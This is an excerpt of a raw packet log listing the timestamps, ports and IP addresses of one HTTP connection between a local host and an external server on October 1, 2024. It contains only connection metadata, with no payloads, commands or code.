Oct 1, 2024 07:51:15.998011112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998022079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998032093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998042107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998054028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.998800993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998812914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998821974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998827934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.998835087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998843908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998847008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.998856068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998867035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998872042 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.998877048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998888016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998894930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.998898983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.998923063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.998955011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.081929922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.081940889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.081958055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.081969023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.081983089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082041025 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082078934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082082987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082120895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082120895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082133055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082160950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082180023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082278967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082288980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082298994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082309961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082313061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082334042 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082360983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082453012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082463980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082474947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082485914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082496881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082526922 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082662106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082673073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082683086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082693100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082700968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082740068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082825899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082837105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082865953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082895041 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.082987070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.082998037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083007097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083018064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083028078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083038092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083039045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083050013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083067894 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083086967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083276987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083317041 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083410025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083420992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083431005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083441973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083451986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083455086 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083462954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083472967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083481073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083498955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083518982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083694935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083705902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083717108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083733082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083735943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083745003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083751917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083755970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083769083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083777905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083779097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083792925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083796024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.083822012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.083859921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084255934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084266901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084278107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084289074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084300041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084307909 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084311008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084321022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084331036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084336996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084347010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084355116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084357023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084372997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084374905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084400892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084427118 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084856033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084866047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084876060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084892035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084903955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084913969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084920883 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084924936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084934950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084945917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084953070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084955931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084970951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084971905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084984064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.084992886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.084994078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085004091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085012913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.085014105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085025072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085036039 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.085040092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085058928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.085076094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.085750103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085761070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085772038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085782051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085788012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085794926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.085803032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085808992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085814953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085824966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085825920 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.085829973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085841894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085854053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085858107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.085865974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085877895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.085932970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.086505890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086518049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086528063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086544991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086555004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086556911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.086565018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086575031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086576939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.086587906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086597919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086601019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.086607933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086618900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086627960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086632967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.086638927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086648941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086657047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.086659908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086669922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086677074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.086685896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.086702108 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.086724043 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.087323904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087337017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087347031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087357998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087371111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.087373972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087389946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087400913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087402105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.087410927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087414980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.087421894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.087449074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.087475061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.170550108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170578003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170588970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170604944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170615911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170625925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170635939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170654058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.170696020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.170768976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170805931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.170808077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170819044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170840979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.170860052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.170934916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170944929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170954943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170965910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.170968056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171022892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171050072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171166897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171178102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171188116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171197891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171201944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171228886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171252966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171422005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171432972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171443939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171453953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171458006 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171466112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171477079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171508074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171616077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171627045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171636105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171646118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171648979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171679020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171855927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171868086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171878099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171888113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171897888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171907902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171917915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171920061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171930075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.171955109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.171986103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.172326088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172337055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172346115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172360897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172367096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.172372103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172382116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172391891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172395945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.172403097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172415972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.172424078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172436953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172444105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.172465086 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.172734976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.172770977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.274986029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.280633926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448571920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448596001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448607922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448635101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.448667049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.448694944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448707104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448729038 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.448754072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.448803902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448815107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448824883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448834896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.448834896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448846102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.448853970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.448882103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449014902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449047089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449105978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449115992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449126959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449136972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449137926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449147940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449157953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449158907 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449188948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449419975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449429989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449440002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449450016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449450970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449460030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449481010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449506044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449666023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449676991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449687004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449697018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449701071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449707031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449726105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449742079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449898005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449908018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449918032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449928045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.449928999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449944973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449975014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.449991941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450002909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450011969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450021982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450023890 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450031996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450042009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450050116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450052023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450067997 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450083971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450520992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450531006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450546026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450556993 CEST	80	49732	45.200.148.113	192.168.2.4
